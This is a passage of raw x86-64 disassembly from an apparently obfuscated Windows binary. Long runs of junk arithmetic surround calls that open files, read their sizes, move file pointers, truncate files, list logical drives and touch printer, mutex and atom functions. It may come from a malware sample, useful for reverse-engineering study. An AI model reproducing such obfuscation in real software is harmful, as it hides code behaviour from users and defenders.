mov rcx, qword [rsp + 0xb250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
lea r9, [rsp + 0x1ba0]
mov r8d, 0xc2
mov rdx, qword [rsp + 0xb178]
mov rcx, qword [rsp + 0xb170]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x57d8], eax
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xb2b0]
add rcx, rax
mov rax, rcx
mov qword [0x140177398], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb188]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.3hjzH9kTqw1itKocGtgAoH2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb2d0], rax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb2c0]
mov qword [rsp + 0xb2d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5834], eax
cmp dword [rsp + 0x5888], 0x5320
je 0x1400128b4
mov eax, dword [rsp + 0x5814]
mov rcx, qword [rsp + 0xb1b8]
mov qword [rsp + 0xb2e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x57a8], eax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x39b]
or eax, ecx
mov byte [rsp + 0x39c], al
movzx ecx, word [rsp + 0x1bac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc8], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ba8], ax
movzx eax, word [0x1401773a4]
movzx ecx, word [rsp + 0x1bc4]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
lea rdx, [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5824], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
add eax, ecx
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401773a8], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
sub eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5820], eax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0x9800]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov eax, dword [rsp + 0x5814]
mov ecx, dword [rsp + 0x57a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b0], eax
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0x3a0]
add eax, ecx
mov byte [rsp + 0x39c], al
movsx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b98], ax
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [rsp + 0x1bc4]
xor eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a1]
or eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb250]
movzx ecx, al
mov rax, qword [rsp + 0xb2b0]
shl rax, cl
mov qword [0x140177398], rax
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xb2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb200]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
mov eax, dword [rsp + 0x57a8]
mov ecx, dword [rsp + 0x5814]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1b98], ax
mov eax, dword [rsp + 0x5888]
add eax, 0x51
mov dword [rsp + 0x5888], eax
movzx eax, word [rsp + 0x1ba4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b94], ax
movsx eax, byte [rsp + 0x39d]
movsx ecx, byte [rsp + 0x39f]
sub eax, ecx
mov byte [rsp + 0x38b], al
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x3a0]
add eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xb180]
add rcx, rax
mov rax, rcx
mov qword [0x140177398], rax
movzx eax, word [rsp + 0x1ba4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x53f8]
sar eax, cl
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x57c8]
shl eax, cl
mov dword [rsp + 0x57b0], eax
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1b98]
or eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a0]
and eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0x92c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x5814]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401773a0], eax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [rsp + 0x39b]
add eax, ecx
mov byte [rsp + 0x3a0], al
mov eax, dword [rsp + 0x57a8]
mov ecx, dword [rsp + 0x57c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xb2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb200]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xa2c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb270]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x38b]
movsx ecx, byte [rsp + 0x39a]
sub eax, ecx
mov byte [rsp + 0x39d], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb2e8], rax
jmp 0x1400123f7
movzx eax, word [rsp + 0x1ba4]
mov word [rsp + 0x1bcc], ax
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xb2f0], rax
mov rax, qword [rsp + 0xb140]
movzx eax, byte [rax]
mov byte [rsp + 0x5890], al
cmp byte [rsp + 0x5890], 0x2c
je 0x1400128f2
jmp 0x140012933
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39e], al
jmp 0x14015ad0b
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
cmp dword [rsp + 0x585c], 0x160b
je 0x140012c81
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bcc]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb180]
mov rcx, qword [0x140177398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a0]
sub eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x1188]
sub eax, ecx
mov word [0x1401773a4], ax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb270]
mov qword [rcx], rax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x4b3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
movsx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x38b], al
mov eax, dword [rsp + 0x585c]
add eax, 0x3a
mov dword [rsp + 0x585c], eax
lea rcx, str.EwW_H.sOG
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bc8], ax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
sar eax, cl
mov word [rsp + 0x1b98], ax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x39e]
sub eax, ecx
mov byte [rsp + 0x39b], al
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b98]
and eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
movzx eax, word [rsp + 0x1188]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140177390], ax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x492c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [0x140183b38]
mov rcx, qword [rsp + 0xb130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb8]
sub eax, ecx
mov word [rsp + 0x1188], ax
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
add eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a1]
and eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0x92c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb250]
movzx ecx, al
mov rax, qword [rsp + 0x92c8]
sar rax, cl
mov qword [0x140177398], rax
movsx eax, word [rsp + 0x1ba8]
movsx ecx, word [rsp + 0x1bb0]
xor eax, ecx
mov word [rsp + 0x1ba0], ax
movsx eax, byte [rsp + 0x38b]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39d], al
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xa2c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x492c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48a8], eax
jmp 0x140012953
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov dword [rsp + 0x5894], eax
movzx eax, byte [rsp + 0x39c]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x39e], al
mov dword [rsp + 0x5898], 0xb812
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5870], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x3a1]
sub ecx, edx
cmp eax, ecx
je 0x140012d70
mov rax, qword [rsp + 0xb1e0]
movzx ecx, al
mov rax, qword [rsp + 0x9800]
shl rax, cl
mov qword [rsp + 0xa2c0], rax
mov eax, dword [rsp + 0x48a8]
mov rcx, qword [rsp + 0xb160]
mov qword [rsp + 0xb2f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5808], eax
movzx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov byte [rcx], al
call fcn.14015b3d0
jmp 0x14015ac26
mov rax, qword [rsp + 0xb1c8]
mov qword [rsp + 0xb300], rax
movabs rax, 0xa2676bd72097e60
cmp qword [rsp + 0xb300], rax
je 0x140012d96
jmp 0x140012ddf
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb308], rax
movzx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov word [rsp + 0x1bd0], ax
jmp 0x140012e20
lea rax, [rsp + 0x53f8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xb140]
mov qword [rsp + 0x20], rax
mov r9d, SHDoDragDrop
lea r8, [rsp + 0xb1d8]
mov edx, 0xa5
mov rcx, qword [rsp + 0xb310]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x57d8], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xb1c8]
add rcx, rax
mov rax, rcx
mov qword [0x1401773b0], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5828], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
and eax, ecx
mov byte [rsp + 0x21b], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xed3a
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x5828], eax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov dword [rsp + 0x589c], eax
cmp dword [rsp + 0x589c], 0
je 0x140012eca
jmp 0x140012f4e
lea rcx, str.6YKeyeCA6y.XD.DRYtmfd
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bd4], ax
mov rax, qword [rsp + 0x92c8]
imul rax, qword [rsp + 0xb250]
mov qword [rsp + 0xa240], rax
movzx ecx, word [rsp + 0x1bb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov dword [rsp + 0x58a0], 0xa2f4
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5830], eax
jmp 0x140012f67
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x4b3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
movsx eax, word [rsp + 0x1bb0]
mov dword [rsp + 0x58a4], eax
cmp dword [rsp + 0x58a4], 0
je 0x140013038
cmp dword [rsp + 0x58a4], 0x3fb
je 0x140012f96
jmp 0x140013090
mov eax, dword [0x1401773a0]
mov ecx, dword [rsp + 0x57c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b94]
add eax, ecx
mov word [rsp + 0x1a2c], ax
lea rax, [rsp + 0xb150]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x5844]
mov qword [rsp + 0x20], rax
mov r9d, SHDoDragDrop
lea r8, [rsp + 0xb240]
mov rdx, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0xb318]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x58a8], eax
movzx r9d, word [rsp + 0x1b94]
movzx r8d, word [rsp + 0x1bc4]
movzx edx, word [rsp + 0x1bcc]
movzx ecx, word [rsp + 0x1188]
call fcn.14015b2b0
jmp 0x140013090
mov rax, qword [rsp + 0xb258]
movzx eax, word [rax]
mov word [rsp + 0x1bd8], ax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0x92c8]
mov qword [0x140183b30], rax
mov rax, qword [rsp + 0x92c8]
mov qword [rsp + 0xb320], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5804], eax
mov rax, qword [0x140177398]
movzx ecx, al
mov rax, qword [rsp + 0xa240]
shl rax, cl
mov qword [rsp + 0xb250], rax
movzx eax, word [rsp + 0xfe8]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b20], ax
mov edx, 0x618
mov rcx, qword [rsp + 0xb1c0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x58ac], eax
mov eax, dword [0x140183b44]
mov ecx, dword [rsp + 0x5834]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xb1c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb188], rax
lea rdx, [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5870], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov dword [rsp + 0x58b0], eax
movzx eax, byte [rsp + 0x39a]
mov byte [rsp + 0x58b4], al
cmp byte [rsp + 0x58b4], 0
je 0x140013219
cmp byte [rsp + 0x58b4], 0x35
je 0x140013174
jmp 0x14001326e
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0xb2b0]
add rcx, rax
mov rax, rcx
mov qword [0x140183b30], rax
movsx eax, byte [0x140177039]
movsx ecx, byte [rsp + 0x39d]
add eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
call fcn.14015b3d0
lea r9, [rsp + 0xb240]
mov r8d, 0x66
mov rdx, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0xb328]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x57ec], eax
jmp 0x14001326e
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b20]
sub eax, ecx
mov word [rsp + 0x1188], ax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov byte [rsp + 0x3a2], al
lea rax, [rsp + 0x57c8]
mov qword [rsp + 0xb330], rax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
imul rax, qword [rsp + 0xb188]
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5808], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb338], rax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bd8], ax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b98]
add eax, ecx
mov word [0x1401773b8], ax
movzx eax, byte [0x140177038]
mov byte [rsp + 0x3a3], al
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [rsp + 0x1bd0]
sub eax, ecx
mov word [rsp + 0x1b20], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb340], rax
mov dword [rsp + 0x58b8], 0xcba9
mov rax, qword [rsp + 0xb180]
cqo
movabs rcx, 0x70488c790672e0
idiv rcx
mov qword [rsp + 0xa240], rax
cmp dword [rsp + 0x57cc], 0x35ac
jbe 0x14001381d
mov rax, qword [rsp + 0xb320]
movzx ecx, al
mov rax, qword [rsp + 0xb2b0]
shl rax, cl
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [0x140183b44]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x57c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5894], eax
mov rax, qword [rsp + 0xb130]
movzx ecx, al
mov rax, qword [rsp + 0xb1e0]
shr rax, cl
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfec], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39f]
add eax, ecx
mov byte [rsp + 0x39a], al
movzx eax, word [rsp + 0x1bd0]
movzx ecx, word [rsp + 0xb38]
sub eax, ecx
mov word [rsp + 0x1a2c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xb138]
mov rcx, qword [0x140183b30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2b0], rax
movzx eax, word [rsp + 0x1b20]
movzx ecx, word [rsp + 0x1b94]
add eax, ecx
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb1c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0xb2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb330]
mov dword [rcx], eax
lea rdx, [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5830], eax
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bbc], ax
lea rdx, [rsp + 0x1a220]
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5830], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140183b48], al
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xb138]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba4]
sar eax, cl
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3a3], al
movsx eax, word [rsp + 0x1bd8]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov eax, dword [rsp + 0x48a8]
mov ecx, dword [rsp + 0x492c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0xa2c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5814]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5894], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
sub eax, ecx
mov byte [rsp + 0x21b], al
movsx eax, word [rsp + 0xfec]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba8], ax
movzx eax, byte [rsp + 0x3a2]
movzx ecx, byte [rsp + 0x39c]
sub eax, ecx
mov byte [0x140177038], al
mov eax, dword [rsp + 0x57cc]
sub eax, 0x24
mov dword [rsp + 0x57cc], eax
movzx eax, word [rsp + 0x1a2c]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
xor eax, ecx
mov rcx, qword [rsp + 0xb258]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xb1e0]
movzx ecx, al
mov rax, qword [0x1401773b0]
shl rax, cl
mov rcx, qword [rsp + 0xb270]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5814]
shr eax, cl
mov dword [rsp + 0x57b0], eax
mov eax, dword [0x1401773a8]
